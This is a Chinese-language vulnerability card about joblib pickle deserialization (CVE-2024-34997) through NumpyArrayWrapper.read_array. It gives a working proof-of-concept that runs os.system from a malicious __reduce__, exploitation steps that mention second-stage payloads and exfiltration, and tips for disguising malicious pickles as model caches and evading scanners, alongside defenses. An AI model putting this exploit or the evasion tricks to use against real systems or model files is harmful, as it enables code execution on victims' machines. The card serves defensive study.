joblib NumpyArrayWrapper.read_array pickle 反序列化:加载恶意模型缓存即执行 __reduce__ 命令
ai-security/supply-chain · verified
一句话结论
joblib 用 pickle 持久化 Python 对象/NumPy 数组;其 joblib.numpy_pickle.NumpyArrayWrapper.read_array() 会从传入的文件句柄读取 pickle 数据并反序列化,未做来源校验。攻击者构造一个实现 __reduce__(返回 os.system 与命令)的对象并保存成 .pkl/模型缓存,受害者用 joblib 加载该文件时即执行任意命令(CVE-2024-34997,厂商曾争议该 CVE 的定性)。
原理
- joblib 的持久化基础:joblib 的
dump/load为了高效保存 NumPy 数组,会把数组包装成NumpyArrayWrapper等对象,底层仍使用pickle序列化;读取时read_array()从文件句柄反序列化 wrapper 及其数据。 - pickle 的
__reduce__:反序列化时,pickle 会调用对象里__reduce__返回的 callable 与参数来重建对象。攻击者让__reduce__返回(os.system, ('whoami',)),加载时就会执行os.system('whoami')。 - 触发路径:示例不直接调用
joblib.load,而是构造NumpyArrayWrapper(subclass='', shape=[], order='', dtype=x.dtype)并调用read_array(file_handle);该函数内部读取并 unpickle 攻击者控制的文件内容,从而触发__reduce__。实际应用中任何“加载用户上传/第三方模型缓存/.npy/.pkl”的路径都可能成为 sink。 - 为什么与模型格式相关:模型缓存、预处理管线、
joblib.Memory磁盘缓存、sklearn模型.joblib文件都用同一套持久化;把恶意对象伪装成模型缓存即可随模型分发。 - 厂商争议点:Snyk 公告的“Amendment”写明该问题被判定为 not a vulnerability;维护者的观点是 joblib 明确用于加载可信对象,
pickle本身就不可信输入不安全,read_array只是遵循既有契约。技术上“能执行代码”成立,但“是否构成库漏洞”取决于信任边界;因此本卡按“不可信模型文件加载”场景记录,severity/confidence 均标为 medium。 - 与
torch.load的区别:PyTorch 的torch.load也在 pickle 上构建,但 joblib 的 sink 更隐蔽(.joblib/.npy/缓存文件常被视为数据文件),且NumpyArrayWrapper的名字看起来像“数组包装”,容易被静态审查忽略。
触发条件
- 应用使用 joblib 加载来自不可信来源的文件:用户上传、第三方模型仓库、共享缓存、CI 产物。
- 加载路径最终到达
pickle.load/NumpyArrayWrapper.read_array/joblib.load,且未启用可信来源校验或安全格式。 - 攻击者能控制被加载文件的内容(能上传模型/缓存/
.pkl)。 - 进程以有权限的账号运行;命令以该账号权限执行。
利用步骤
- 定义恶意类,实现
__reduce__返回(os.system, (命令,));命令先用whoami/touch /tmp/poc等无害形式验证。 - 用
pickle.dump把对象写入.pkl文件;或按目标加载器期望的.joblib/.npy结构包装。 - 让受害者程序加载该文件:直接
joblib.load,或构造NumpyArrayWrapper后调用read_array(file_handle)。 - 反序列化触发
__reduce__,命令执行;可进一步下载二阶段载荷、写持久化或外带数据。 - 若目标使用
numpy.load(allow_pickle=True)、pandas.read_pickle、cloudpickle/dill,用同样思路替换 sink。
PoC
from joblib.numpy_pickle import NumpyArrayWrapper
import os
import pickle
import numpy
class A:
def __reduce__(self):
return (os.system, ('whoami',))
a = A()
with open('testnpyarray.pkl', 'wb') as f:
pickle.dump(a, f)
class B:
def __init__(self, file_handle):
self.file_handle = file_handle
x = numpy.array([1, 'a', {}], dtype=object)
with open('testnpyarray.pkl', 'rb') as f:
b = B(f)
NumpyArrayWrapper(subclass='', shape=[], order='', dtype=x.dtype).read_array(b)
说明:这是原文的最小 PoC;read_array 的实际内部结构随 joblib 版本变化,集成到真实 sink 时需按目标版本的 joblib.numpy_pickle 调整。PoC 未在本库复跑;授权测试请使用无害命令。
变体与关联
- 同族 sink:
pickle.load/loads、joblib.load、numpy.load(allow_pickle=True)、pandas.read_pickle、torch.load(默认 pickle)、cloudpickle/dill、shelve。 - 模型文件伪装:把恶意 pickle 命名为
.joblib、.npy、.pkl、model_cache,或放进joblib.Memory缓存目录,降低审查警惕。 - 绕过扫描:使用协议 0/2、分段/编码、惰性对象、
__setstate__等;picklescan可能漏报,需结合行为检测。 - 本库关联:
ai-security-supply-chain-huggingface-pickle-model-reverse-shell覆盖 PyTorch/Hugging Face 模型 pickle;web-python-deserialization-*覆盖 Web 场景的 pickle sink;本卡聚焦 joblib/NumpyArrayWrapper。
检测与防御
- 根本防御:不要对不可信来源使用 pickle/joblib;模型/缓存优先使用
safetensors、JSON、NumPy.npy(allow_pickle=False)等无代码执行格式。 - 加载侧:若必须加载 joblib,校验文件哈希/签名、限制目录、在低权限沙箱中加载;检查文件是否来自可信发布者。
- 检测:用
picklescan/fickling扫描pickle.load前的字节码,重点关注GLOBAL/REDUCE/BUILD操作码和os.system/subprocess/builtins.eval等危险全局;监控加载进程的os.system/subprocess调用。 - 供应链:模型仓库应对
.joblib/.pkl文件做静态扫描和发布者签名;下载方应在隔离环境首次加载并观察行为。 - 定性说明:该 CVE 的厂商立场是“加载不可信 pickle 本就不安全”,因此真实系统应把“加载第三方 joblib”视为高风险操作,而不是依赖库本身修复。